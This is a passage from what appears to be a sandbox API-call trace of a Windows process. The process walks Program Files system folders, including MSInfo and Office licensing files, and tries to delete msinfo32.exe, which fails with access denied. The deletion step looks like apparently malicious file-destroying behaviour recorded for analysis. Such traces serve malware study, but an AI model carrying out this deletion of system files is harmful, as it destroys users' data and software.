(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0123.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.319] GetLastError () returned 0x0 [0123.320] GetLastError () returned 0x0 [0123.320] GetCurrentThreadId () returned 0x9b0 [0123.320] GetLastError () returned 0x0 [0123.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0123.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0123.321] GetLastError () returned 0x0 [0123.322] GetLastError () returned 0x0 [0123.322] GetCurrentThreadId () returned 0x9b0 [0123.322] GetLastError () returned 0x0 [0123.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cb8 [0123.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0123.322] GetCurrentThreadId () returned 0x9b0 [0123.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0123.322] GetLastError () returned 0x0 [0123.323] GetLastError () returned 0x0 [0123.323] GetLastError () returned 0x0 [0123.323] GetLastError () returned 0x0 [0123.323] GetCurrentThreadId () returned 0x9b0 [0123.323] GetLastError () returned 0x0 [0123.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.323] GetLastError () returned 0x0 [0123.324] GetLastError () returned 0x0 [0123.324] GetCurrentThreadId () returned 0x9b0 [0123.324] GetLastError () returned 0x0 [0123.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0123.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0123.325] GetLastError () returned 0x0 [0123.325] GetLastError () returned 0x0 [0123.325] GetCurrentThreadId () returned 0x9b0 [0123.325] GetLastError () returned 0x0 [0123.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0123.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0123.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.326] GetCurrentThreadId () returned 0x9b0 [0123.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0123.326] GetLastError () returned 0x0 [0123.326] GetLastError () returned 0x0 [0123.326] GetLastError () returned 0x0 [0123.326] GetLastError () returned 0x0 [0123.326] GetCurrentThreadId () returned 0x9b0 [0123.326] GetLastError () returned 0x0 [0123.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0123.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.327] GetLastError () returned 0x0 [0123.328] GetLastError () returned 0x0 [0123.328] GetCurrentThreadId () returned 0x9b0 [0123.328] GetLastError () returned 0x0 [0123.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0123.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0123.329] GetLastError () returned 0x0 [0123.329] GetLastError () returned 0x0 [0123.329] GetCurrentThreadId () returned 0x9b0 [0123.329] GetLastError () returned 0x0 [0123.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cb8 [0123.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0123.329] GetCurrentThreadId () returned 0x9b0 [0123.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa618) returned 0x37c9db0 [0123.330] GetLastError () returned 0x0 [0123.330] GetLastError () returned 0x0 [0123.330] GetLastError () returned 0x0 [0123.330] GetLastError () returned 0x0 [0123.330] GetCurrentThreadId () returned 0x9b0 [0123.330] GetLastError () returned 0x0 [0123.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37c9db0 | out: hHeap=0x2ad0000) returned 1 [0123.330] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.330] GetLastError () returned 0x0 [0123.331] GetLastError () returned 0x0 [0123.331] GetCurrentThreadId () returned 0x9b0 [0123.331] GetLastError () returned 0x0 [0123.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0123.332] GetLastError () returned 0x0 [0123.332] GetLastError () returned 0x0 [0123.332] GetCurrentThreadId () returned 0x9b0 [0123.332] GetLastError () returned 0x0 [0123.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0123.332] GetLastError () returned 0x0 [0123.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.332] CloseHandle (hObject=0x3ac) returned 1 [0123.333] GetLastError () returned 0x0 [0123.333] GetCurrentThreadId () returned 0x9b0 [0123.333] GetLastError () returned 0x0 [0123.333] GetLastError () returned 0x0 [0123.333] CloseHandle (hObject=0x39c) returned 1 [0123.333] GetLastError () returned 0x0 [0123.333] GetCurrentThreadId () returned 0x9b0 [0123.333] GetLastError () returned 0x0 [0123.333] GetLastError () returned 0x0 [0123.333] GetLastError () returned 0x0 [0123.334] GetLastError () returned 0x0 [0123.334] GetLastError () returned 0x0 [0123.334] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0 [0123.334] GetLastError () returned 0x5 [0123.334] GetCurrentThreadId () returned 0x9b0 [0123.334] GetLastError () returned 0x5 [0123.334] GetLastError () returned 0x5 [0123.334] GetLastError () returned 0x5 [0123.334] GetLastError () returned 0x5 [0123.335] LocalFree (hMem=0x1053c70) returned 0x0 [0123.335] GetCurrentThreadId () returned 0x9b0 [0123.335] GetLastError () returned 0x5 [0123.335] GetLastError () returned 0x5 [0123.335] GetLastError () returned 0x5 [0123.335] GetLastError () returned 0x5 [0123.335] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0123.336] GetLastError () returned 0x5 [0123.336] GetCurrentThreadId () returned 0x9b0 [0123.336] GetLastError () returned 0x5 [0123.336] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.336] GetLastError () returned 0x5 [0123.336] GetCurrentThreadId () returned 0x9b0 [0123.336] GetLastError () returned 0x5 [0123.336] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0123.336] GetLastError () returned 0x5 [0123.336] GetCurrentThreadId () returned 0x9b0 [0123.337] GetLastError () returned 0x5 [0123.337] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0123.337] GetLastError () returned 0x12 [0123.337] GetCurrentThreadId () returned 0x9b0 [0123.337] GetLastError () returned 0x12 [0123.337] GetLastError () returned 0x12 [0123.337] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0123.337] GetCurrentThreadId () returned 0x9b0 [0123.337] GetLastError () returned 0x12 [0123.337] GetLastError () returned 0x12 [0123.337] GetLastError () returned 0x12 [0123.338] GetLastError () returned 0x12 [0123.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.338] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0123.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0123.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.339] GetLastError () returned 0x12 [0123.339] GetLastError () returned 0x12 [0123.339] GetLastError () returned 0x12 [0123.339] GetLastError () returned 0x12 [0123.339] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpFilePart=0x9bada4*="msinfo32.exe.mui") returned 0x4c [0123.339] GetCurrentThreadId () returned 0x9b0 [0123.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0123.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0123.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.340] GetCurrentThreadId () returned 0x9b0 [0123.340] GetLastError () returned 0x12 [0123.340] GetLastError () returned 0x12 [0123.340] GetLastError () returned 0x12 [0123.340] GetLastError () returned 0x12 [0123.340] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0123.341] GetLastError () returned 0x12 [0123.341] GetCurrentThreadId () returned 0x9b0 [0123.341] GetLastError () returned 0x12 [0123.341] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.341] GetLastError () returned 0x12 [0123.341] GetCurrentThreadId () returned 0x9b0 [0123.341] GetLastError () returned 0x12 [0123.341] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0123.341] GetLastError () returned 0x12 [0123.341] GetCurrentThreadId () returned 0x9b0 [0123.341] GetLastError () returned 0x12 [0123.341] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0123.342] GetLastError () returned 0x12 [0123.342] GetCurrentThreadId () returned 0x9b0 [0123.342] GetLastError () returned 0x12 [0123.342] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0123.342] GetLastError () returned 0x12 [0123.342] GetCurrentThreadId () returned 0x9b0 [0123.342] GetLastError () returned 0x12 [0123.342] GetLastError () returned 0x12 [0123.342] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0123.342] GetLastError () returned 0x12 [0123.342] GetLastError () returned 0x12 [0123.342] GetLastError () returned 0x12 [0123.343] GetLastError () returned 0x12 [0123.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.343] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0123.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0123.344] GetCurrentThreadId () returned 0x9b0 [0123.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0123.344] GetLastError () returned 0x12 [0123.344] GetLastError () returned 0x12 [0123.344] GetLastError () returned 0x12 [0123.344] GetLastError () returned 0x12 [0123.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.344] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller")) returned 0x30 [0123.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0123.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0123.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.345] GetCurrentThreadId () returned 0x9b0 [0123.345] GetLastError () returned 0x12 [0123.345] GetLastError () returned 0x12 [0123.345] GetLastError () returned 0x12 [0123.345] GetLastError () returned 0x12 [0123.345] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE", lpFilePart=0x9bada4*="LICLUA.EXE") returned 0x42 [0123.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0123.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0123.346] GetCurrentThreadId () returned 0x9b0 [0123.346] GetLastError () returned 0x12 [0123.346] GetLastError () returned 0x12 [0123.346] GetLastError () returned 0x12 [0123.346] GetLastError () returned 0x12 [0123.346] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0123.347] GetLastError () returned 0x12 [0123.347] GetCurrentThreadId () returned 0x9b0 [0123.348] GetLastError () returned 0x12 [0123.348] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.348] GetLastError () returned 0x12 [0123.348] GetCurrentThreadId () returned 0x9b0 [0123.348] GetLastError () returned 0x12 [0123.348] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0123.348] GetLastError () returned 0x12 [0123.348] GetCurrentThreadId () returned 0x9b0 [0123.348] GetLastError () returned 0x12 [0123.348] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0123.348] GetLastError () returned 0x12 [0123.348] GetCurrentThreadId () returned 0x9b0 [0123.349] GetLastError () returned 0x12 [0123.349] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0123.349] GetLastError () returned 0x12 [0123.349] GetCurrentThreadId () returned 0x9b0 [0123.349] GetLastError () returned 0x12 [0123.349] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0123.349] GetLastError () returned 0x12 [0123.349] GetCurrentThreadId () returned 0x9b0 [0123.349] GetLastError () returned 0x12 [0123.349] GetLastError () returned 0x12 [0123.349] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0123.350] GetCurrentThreadId () returned 0x9b0 [0123.350] GetLastError () returned 0x12 [0123.350] GetLastError () returned 0x12 [0123.350] GetLastError () returned 0x12 [0123.350] GetLastError () returned 0x12 [0123.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.351] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0123.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0123.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0123.352] GetLastError () returned 0x12 [0123.352] GetLastError () returned 0x12 [0123.352] GetLastError () returned 0x12 [0123.352] GetLastError () returned 0x12 [0123.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.352] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0123.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0123.353] GetCurrentThreadId () returned 0x9b0 [0123.353] GetLastError () returned 0x12 [0123.353] GetLastError () returned 0x12 [0123.353] GetLastError () returned 0x12 [0123.353] GetLastError () returned 0x12 [0123.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.354] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0123.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0123.354] GetLastError () returned 0x12 [0123.354] GetLastError () returned 0x12 [0123.355] GetLastError () returned 0x12 [0123.355] GetLastError () returned 0x12 [0123.355] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll", lpFilePart=0x9bada4*="pidgenx.dll") returned 0x5b [0123.355] GetCurrentThreadId () returned 0x9b0 [0123.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0123.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0123.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.355] GetCurrentThreadId () returned 0x9b0 [0123.355] GetLastError () returned 0x12 [0123.355] GetLastError () returned 0x12 [0123.356] GetLastError () returned 0x12 [0123.356] GetLastError () returned 0x12 [0123.356] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms", 